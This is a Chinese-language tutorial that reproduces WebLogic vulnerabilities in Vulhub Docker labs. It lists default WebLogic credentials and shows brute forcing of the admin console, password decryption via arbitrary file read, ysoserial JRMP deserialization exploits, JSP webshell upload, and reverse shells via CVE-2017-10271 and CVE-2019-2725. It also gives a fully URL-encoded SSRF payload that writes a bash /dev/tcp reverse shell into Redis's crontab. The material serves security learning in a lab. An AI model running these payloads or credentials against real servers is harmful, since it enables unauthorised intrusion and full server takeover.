Weblogic漏洞重现与利用
介绍Weblogic常见的漏洞,其中包括:弱口令、Java反序列化、XMLdecoder反序列化、SSRF 漏洞、任意文件上传,并根据其漏洞,使用 Docker+Vulhub 进行复现。
主要内容:
- 环境搭建
- Weblogic常见漏洞简单介绍
- Weblogic弱口令复现操作
- Java反序列化漏洞操作(CVE-2018-2628)
- 任意文件上传漏洞操作(CVE-2018-2894)
- XML Decoder 反序列化漏洞操作(CVE-2017-10271)
- SSRF漏洞操作(CVE-2017-10271)
- 最新漏洞:(CVE-2019-2725)反序列化漏洞操作
一、环境搭建
本次教程所有用例,均基于Ubuntu系统下操作,但我个人有时也会用Kali系统来复现漏洞环境,两者之间无太大差别。以下实验环境截图部分来自Ubuntu系统,部分来自Kali系统,不用太纠结,他们没有什么太大差别。 现在我们来尝试在Ubuntu系统下安装本次实验所需的工具吧:
- docker
- docker-compose
- vulhub-master
1、安装必要工具
- 下面链接是该教程配套文件链接,该文件下有所用到的所有工具
arduino
https://pan.baidu.com/s/1TlZfXnQjtO28FEk1k-5NOg
提取码:52pj
- docker安装的前提条件: Docker要求Ubuntu系统的内核版本高于3.10,使用下面这条命令查看自己系统的内核版本:
bash
uname -r
- 获取最新版本的docker安装包,输入下面这条命令,并等待一会:
arduino
wget -qO- https://get.docker.com/ | sh
-
启动docker服务: service docker start
-
安装pip
arduino
curl -s https://bootstrap.pypa.io/get-pip.py | python3
-
安装docker-compose:
pip install docker-compose
-
安装vulhub漏洞环境:
perl
wget https://github.com/vulhub/vulhub/archive/master.zip%20-O%20vulhub-master.zip -O vulhub-master.zip
- 对vulhub-master.zip进行解压: unzip vulhub-master.zip 如果提示没有unzip,可使用 apt-get install unzip获取一下。
现在docker,docker-compose,vulhub漏洞环境都已成功安装了。下面我们针对docker来进行一下加速设置。
2、docker镜像加速
- 获取阿里云加速地址: 首先从阿里云获取加速镜像地址,访问:
arduino
https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
- 修改配置加速文件: 通过修改daemon配置文件来使用加速器,位于:/etc/docker/daemon.json 没有该文件可自行创建一个,并将从阿里云获取的镜像地址粘贴进去,格式如下:
加速器我们也设置好了,对于下面的实验用例也没有什么问题了,细节报错问题,大家可以自行解决一下,毕竟每个人遇见的问题都是千奇百怪,各不相同的。
下面链接是该教程配套文件,该文件下有所用到的所有工具
获取地址:
链接:
arduino
https://pan.baidu.com/s/1SfLrlIsgDjagu8pazJ-geQ
提取码:pk94
复制这段内容后打开百度网盘手机App,操作更方便哦
二、Weblogic常见漏洞简单介绍
1、Weblogic简介
Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。 并且Weblogic默认端口为:7001
2、Weblogic较活跃的几个版本
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.1
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
- 等等
3、Weblogic历史相关漏洞
#制台路径泄露:
弱口令破解
#SSRF漏洞:
CVE-2014-4210
#任意文件上传漏洞: #
CVE-2018-2894
#XML Decoder反序列化漏洞:
CVE-2017-3506
CVE-2017-10271
#Java反序列化漏洞:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
4、Weblogic近期相关漏洞
2019年4月17日,阿里云云盾应急响应中心监测到Oracle官方发布安全公告,披露WebLogic服务器存在多个高危漏洞,包括远程代码执行、任意文件上传、反序列化等。黑客利用漏洞可能可以远程获取WebLogic服务器权限,风险较大。
CVE-2019-2658:严重
CVE-2019-2646:严重
CVE-2019-2645:严重
CVE-2019-1258:高危
CVE-2019-2647:高危
CVE-2019-2648:高危
CVE-2019-2649:高危
CVE-2019-2650:高危
CVE-2019-2618:中危
CVE-2019-2568:中危
CVE-2019-2615:中危
Oracle重要补丁更新公告 - 2019年4月:
ruby
https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
5、Weblogic复现漏洞简单介绍
#weakpassword
Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。因此存在弱口令爆破的风险。 在本环境下模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。
#SSRF漏洞(CVE-2014-4210)
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻击内网中redis、fastcgi等脆弱组件。
#任意文件上传漏洞(CVE-2018-2894)
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。 利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
#XML Decoder反序列化漏洞(CVE-2017-10271)
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
#Java反序列化漏洞(CVE-2018-2628)
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
三、Weblogic弱口令复现操作
1、后台登录地址
bash
http://ip:7001/console/login/LoginForm.jsp
2、Weblogic常见弱口令总结
- system:password
- weblogic:weblogic
- admin:secruity
- joe:password
- mary:password
- system:sercurity
- weblogic:Oracle@123 参考地址:
ini
https://cirt.net/passwords?criteria=weblogic
3、环境部署
bash
#进入Weblogic的弱口令环境目录:
cd vulhub-master/weblogic/weak_password
#构建服务:
sudo docker-compose build
#启动环境:
sudo docker-compose up -d
#进入网址,查看是否部署成功:
http://ip:7001/console
#本环境弱口令账号密码为:
账号:weblogic
密码:Oracle@123
4、漏洞复现之三个破解方式
4.1、使用Burp suite下的Intruder模块破解
破解流程:
-
首先访问后台登录地址,输入任意账号密码,此时开启Burp Suite功能,点击登录:
-
此时已经将数据拦截下来,然后点击右键,将其转发到Intruder模块下:
-
现在数据来到了Intruder模块下,我们需要在该模块下,对数据进行构造,以便进行暴力破解。
-
首先,将Positions下将所有变量 Clear <math xmlns="http://www.w3.org/1998/Math/MathML"> (清空)掉,并选择想要破解的变量点击 A d d (清空)掉,并选择想要破解的变量点击Add </math>(清空)掉,并选择想要破解的变量点击Add按钮,我们选择账号和密码这两个变量。
-
Attack type(攻击类型):选择cluster bomb,即为交集爆破
-
进入Payload选项,设置变量。首先设置Payload Sets下的Payload set 为1(按照之前添加变量顺序来定),Payload type为Simple list,然后在下面Payload Options[Simple list]的地方点击Paste按钮,会将你复制的要破解的账号名粘贴在此处。密码变量设置如上相同,只不过要将Payload set 设为2。
-
在此例子中,我们使用前面所讲述到的常见用户名和密码:
此图为账号设置此图为密码设置
-
现在我们已经暴力破解的数据构造好了,接下来点击右上角的Start attack按钮,来进行攻击,并观察返回结果:
-
现在我们发现有个长度跟其他的不一样数据,现在尝试去登陆一下,成功登陆,此时Burp Suite破解也告一段落了。
4.2、根据Python小脚本,来暴力破解目标账号密码
Python小脚本的暴力破解思路和前面Burp Suite下的Intruder下的破解思路是一样的。换汤不换药,只不过是多学习学习些Python脚本,从简单到复杂,多多练习,非常有益处。
4.3、配合任意文件下载/读取漏洞来破解密码
如果目标系统不存在弱口令怎么办?我们可以旁敲侧击来破解后台密码。该如何做呢,此例子是配合任意文件下载漏洞来破解后台密码。 正巧,该环境下存在一个任意文件下载漏洞, 漏洞地址:
bash
http://ip:7001/hello/file.jsp?path=
现在存在一个任意文件下载漏洞,我们要如何利用呢?
-
读取后台用户密文与密钥文件 Weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。 这两个文件均位于base_domain下,名为
SerializedSystemIni.da
t和config.xml
, 在本环境中为./security/SerializedSystemIni.dat
和./config/config.xml
文件中,(基于当前目录为:/root/Oracle/Middleware/user_projects/domains/base_domain)
-
使用工具对后台密码进行破解 结果如下图,该工具会在最后打包分享文件中分享,具体路径在:
Weblogic机密文件\Weblogic\weblogic-vulhub环境\weak_password\decrypt
-
具体流程:
1、使用浏览器输入任意文件下载漏洞地址
http://your-ip:7001/hello/file.jsp?path=
,此时浏览器打开代理插件,Burp Suite打开拦截功能:2、首先,在路径path后面输入,./security/SerializedSystemIni.dat 路径,成功拦截到包,将其转发到Repeater模块下,点击Go按钮,来读取加密密钥,返回包是一串数据,不用过多纠结,如图:
3、现在我们将这串数据保存在本地,选中数据,点击鼠标右键,点击copy to file,选择保存路径(记住这个路径),点击保存,如图:
4、此时,加密密钥我们已经保存下来了,接下来,要寻找加密的密码了,它在
./config/config.xml文件下的<node-manager-password-encrypted>
标签下,如图:5、现在,我们打开破解工具,具体位置上面已说到,文件处即为我们刚才保存的文件,密文即为
./config/config.xml
文件下的<node-manager-password-encrypted>
标签中的内容,全部输入完成后,点击确定,开始破解。6、现在密码我们已经成功破解了。配合任意文件下载,主要是读取两个带有敏感信息的文件。现在配合任意文件下载漏洞来破解密码行动也已经结束了。
四、 Java反序列化漏洞操作(CVE-2018-2628)
1、Java序列化与Java反序列化:
Java序列化:即把Java对象转换为字节序列的过程 Java反序列化:是指把字节序列恢复为Java对象的过程
目的: 序列化与反序列化目的是为了让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信,对象持久化存储。
2、Java反序列化漏洞成因:
在上述情况中所说的转换过程中,出现了漏洞,加之暴露或间接暴露出可反序列化的API,导致用户可以操作,并传入数据,或精心构造恶意代码。
3、相关历史漏洞简介:
#CVE-2015-4852
Weblogic 直接反序列化 是基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2016-0638
Weblogic 直接反序列化 基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过 拜Oracle一直以来的黑名单修复方式所赐
#CVE-2016-3510
基于Weblogic t3协议引起远程代码执行的反序列化漏洞
#CVE-2017-3248
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化
#CVE-2018-2628
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于 Weblogic JRMP反序列化
#CVE-2018-2893
基于Weblogic t3协议引起远程代码执行的反序列化漏洞 实为CVE-2018-2628绕过 同样拜Oracle一直以来的黑名单修复方式所赐 属于Weblogic JRMP反序列化
4、该漏洞涉及版本:
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3
5、漏洞复现流程:
方法一:
1、首先,使用"Nmap"来探测一下目标信息,是否正在使用T3协议, 具体命令:nmap -n -v -p 7001 目标地址 --script=weblogic-t3-info
返回信息如下,代表目标正在使用T3协议:
2、使用Python脚本针对目标进行探测,是否存在漏洞Java反序列化漏洞,脚本地址: Weblogic机密文件\Weblogic\weblogic-vulhub环境\Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0号\weblogic_poc.py
(该脚本基于Python2.x),如图:
3、根据前面探测的信息,我们发现目标存在Java反序列化漏洞,来让我们进一步攻击它吧。此时我们需要使用到"ysoserial"这个工具。 ysoserial工具地址: Weblogic机密文件\Weblogic\weblogic-vulhub环境\Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0号\ysoserial
4、首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令:
css
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
[listen port]:攻击机要监听的端口
[command]:想要执行的命令
44553.py脚本位置:Weblogic机密文件\Weblogic\weblogic-vulhub环境\Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---0号\44553.py
5、使用44553.py脚本来向目标发送数据包(基于python2.x),该脚本会让靶机调用相关服务来访问我们启动的JRMP server,执行我们想要执行的命令。 python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
css
[victim ip]:目标weblogic的IP</br>
[victim port]:目标weblogic的端口</br>
[path to ysoserial] :ysoserial的路径</br>
[JRMPListener ip] :第一步中启动JRMP Server的IP地址</br>
[JRMPListener port] :第一步中启动JRMP Server的I端口地址</br>
[JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2</br>
6、等待一小会时间,双方会进行握手,进行数据交互,然后成功执行命令。
上图该实例仅是执行过程中的一部分,具体请实践观察。
8、 现在我们进入虚拟中,来查看我们的文件是否执行成功,首先进入虚拟机命令: docker ps -a
来查看想要进入容器的id docker exec -ti
容器id或者容器名称 /bin/bash
9、通过上图发现成功的执行了创建文件命令。
方法二:
该方法,来自github上的一个python脚本,可以使用该方法执行一些命令。 地址:
arduino
https://github.com/jas502n/CVE-2018-2628`
1、 该文件我同样下载下来了,在下面打包连接中,我们使用的脚本地址在: Weblogic机密文件\Weblogic\weblogic-vulhub环境\Java反序列化漏洞 --- CVE-2018-2628\CVE-2018-2628---1号\ CVE-2018-2628-Getshell.py
我们首先使用的是CVE-2018-2628-Getshell.py
这个脚本,(该脚本基于python2.x) 执行命令: python CVE-2018-2628-Getshell.py
目标地址 目标端口 test11.jsp
(注意: 上面test11.jsp为你起的文件名,改名字需要长度等于10)
2、现在我们已经获取了一个地址,打开浏览器访问它:
3、我们执行了whoami的命令。上面 tom后面的变量即为 whomai的base64编码,我们可以使用kali 来生成任意base64编码,来替换该变量,以达到执行任意命令:
4、不难发现,上面我的test11变为了test12,是因为我在进行多次测试的时候发现,生成完一次脚本的连接仅能访问一次,第二次访问会返回404,但这个脚本确实有很多学习的地方。大家可以学学作者思路,进行自己的改造。
五、任意文件上传漏洞操作(CVE-2018-2894)
1、该漏洞涉及版本:
10.3.6,12.1.3,12.2.1.2,12.2.1.3
2、漏洞地址:
bash
http://your-ip:7001/ws_utc/config.do
3、环境部署:
bash
#进入该漏洞环境目录:
cd vulhub-master/weblogic/CVE-2018-2894
#进行环境构建
docker-compose build
#环境启动
docker-compose up -d
4、漏洞复现攻击过程:
首先要进行一些配置:
1、在CVE-2018-2894环境目录下,查看账号密码,运行以下命令:
docker-compose logs | grep password
2、进入后台登录地址,输入账号密码登录 3、勾选在"base_domain"下的"高级"下的"启用web服务测试页"这个选项,最后点击保存。
漏洞复现流程:
1、首先进入未经授权的上传界面:
lua
http://your-ip/ws_utc/config.do
2、将"通用"下的"当前工作目录"路径设置为: /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
设置该目录的目的:
将目录设置为ws_utc
应用的静态文件css目录,访问这个目录是无需权限的
3、开始上传木马:
①、进入"安全",点击"添加",点击"浏览...",选择你要上传的jsp木马,点击"提交",成功上传jsp木马
②、按键"F12",选中上传文件名元素,该标签下有个id元素(时间戳id,下面会用到),复制它。
4、上传木马的访问路径:
bash
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳id]_[文件名]
密码为ninty
六、XML Decoder 反序列化漏洞操作(CVE-2017-10271)
1、涉及版本:
10.3.6.0,12.1.3.0.0,12.2.1.1.0
2、漏洞地址:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
3、环境部署:
bash
#进入XML Decoder 反序列化漏洞复现环境:
cd vulhub-master/weblogic/CVE-2017-10271
#进行服务构建
docker-compose build
#启动环境
docker-compose up -d
4、漏洞复现攻击流程:
尝试一个简单的漏洞证明:
1、首先使用XML反序列化漏洞检查工具进行检查上面任一漏洞是否存在漏洞:
2、发现该页面下存在XML反序列化漏洞,尝试写入Webshell
3、打开漏洞地址,本次实例为: http://your-ip:7001/wls-wsat/CoordinatorPortType
4、使用Burp抓包,将其转发到"Repeater"模块下,将GET变为POST,并将Webshell复制,粘贴覆盖之前,点击Go按钮:
5、访问地址为:
bash
http://your-ip:7001/bea_wls_internal/test.jsp
反弹一个shell:
1、验证是否存在漏洞:
工具利用 --- XML反序列化漏洞检查工具
脚本利用 --- CVE-2017-10271-poc.py
Burp抓包传入数据验证
2、使用Burp抓包,将其转发到"Repeater"模块下。反弹shell数据的脚本在"反弹shell.md" 中,并且此时攻击机使用nc开始监听, nc -l -p 端口
,
3、视角来到"Repeater"模块,将GET变为POST,并将反弹shell脚本粘贴至此,点击Go,发送数据。
4、成功连接反弹的shell,如图:
七、SSRF漏洞操作(CVE-2017-10271)
1、什么是SSRF?
简介: SSRF(Server-Side Request Forgery),服务端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个漏洞,一般情况下,SSRF攻击的目标是从外部网络无法访问的内部系统。
2、SSRF危害以及可实现的攻击行为:
- 主机上本地敏感信息读取,对外网服务器所在的内网的本地端口进行扫描,获取服务的Banner信息
- 攻击运行在内外网主机的应用程序
- 通过访问默认文件对内网Web应用进行指纹识别
- 攻击内外网的Web应用,主要是使用GET参数就可以实现攻击
- 利用file协议读取本地文件
3、涉及版本:
10.0.2, 10.3.6
4、漏洞地址:
bash
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
5、环境部署:
bash
#进入ssrf漏洞环境
cd vulhub-master/weblogic/ssrf
#进行环境构建
docker-compose build
#启动环境
docker-compose up -d
6、漏洞复现攻击流程:
浏览器打开漏洞地址,出现以下界面可能存在SSRF漏洞:
1、先进行简单探测目标是否存在漏洞:
使用脚本简单探测:ssrf-poc_simple.py
(基于python3.x)
2、手工进行简单检测,在漏洞地址处,点击Search按钮,返回:"An error has occurred"
3、可从漏洞页面下的"Setup UDDI Explorer"处发现内网地址:
4、如果不显示,可以使用脚本猜测。ip_detect.py
:(基于python2.x) python ip_detect.py --url 目标地址
内网网段:
10.0.0.0 ~ 10.255.255.255,
172.16.0.0 ~ 172.31.255.255
192.168.0.0 ~ 192.168.255.255
5、进行内网探测,步骤:
打开漏洞地址 → 使用Burp进行抓包 → 将其转发到Repeater模块下 →对operator参数进行修改数据。
观察现象,根据探测结果进行简要分析:
- 主机存活且端口存在:
- 不存在的端口或IP地址:
- 可访问的端口(且该端口是非http协议):
现在模拟内网中存在一台Redis,我们来对他进行攻击: 在前面的探测,我们已经知道了目标系统内网地址存活状态,并发现了一个6379端口主机,根据经验,该端口下的服务是Redis数据库。
-
下面我们尝试"利用注入HTTP头,来让Redis反弹shell":Weblogic的SSRF,在使用GET请求时,可以通过"%0a%0d"(\r\n,换行符),来注入 换行符。
-
某些服务(如Redis)是通过换行符来分隔每条命令
-
因此可以通过该SSRF攻击内网中的Redis服务器
1、发送三条redis命令,将弹shell脚本写入/etc/crontab
:
swift
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/7089 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
2、进行url编码:
perl
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.24.175%2F7089%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
3、发送编码后的payload:
perl
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.24.175%2F7089%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
4、攻击机使用nc进行端口的监听:nc -l -p 7089,成功反弹shell:
八、最新漏洞:(CVE-2019-2725)反序列化漏洞操作
1、漏洞名称:
WebLogic wls9-async组件存在反序列化远程命令执行漏洞
2、漏洞描述:
- Wls9-async组件为Weblogic server 提供异步通讯服务,默认应用于Weblogic部分版本。
- 部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。
3、涉及版本:
10.X 12.1.3
4、漏洞地址:
bash
http://your-ip:port/_async/AsyncResponseService
5、环境部署:
#获取Weblogic版本,该版本为12.1.3
bash
docker pull ismaleiva90/weblogic12
#后台运行漏洞环境
ini
docker run --d -p 7001:7001 --restart=always ismaleiva90/weblogic12
6、漏洞复现攻击流程:
1、首先使用Nmap的nse脚本对目标进行探测: 但要先获取脚本,github地址:
bash
https://github.com/Rvn0xsy/nse_vuln/blob/master/weblogic/CNVD-C-2019-4814/weblogic-CNVD-C-2019-48814.nse
将下载后的nse脚本放入Nmap目录下的Scripts文件下。
2、对目标进行探测,执行以下命令:
css
nmap -sV -p 目标端口 目标地址 --script= weblogic-CNVD-C-2019-48814
-sV
:探测开放端口并确定服务和信息,并确定版本信息,扫描出的版本配合漏洞库来验证目标是否存在漏洞。
3、经过我们探测,发现目标存在CVE-2019-2725(CNVD-C-2019-48814)这个漏洞,那我们现在进一步攻击目标吧。
4、浏览器打开漏洞地址:
bash
http://your-ip:port/_async/AsyncResponseService
5、此时打开Burp Suite 对该漏洞地址进行抓包,并将其发送到Reapeter模块下:
6、现在我们将视角转到Reapeter模块下,开始针对目标进行一个简单的攻击,我们将使用下面构造好的HTTP请求,将其粘贴到Repeater模块下即可,然后点击Go按钮,Response返回 202 Accepted
表示创建成功:
该脚本以放在打包文件中,CVE-2019-2725文件夹下。
7、上面这个脚本功能是使用nc反弹一个shell,攻击机去使用nc连接,此时攻击机开始进行端口监听,然后点击Go按钮,此时成功连接shell,并成功进入了目标系统:
优秀的参考链接:
www.oracle.com/technetwork... www.oracle.com/technetwork... mp.weixin.qq.com/s/Hdvp1_lUg... github.com/vulhub/vulh...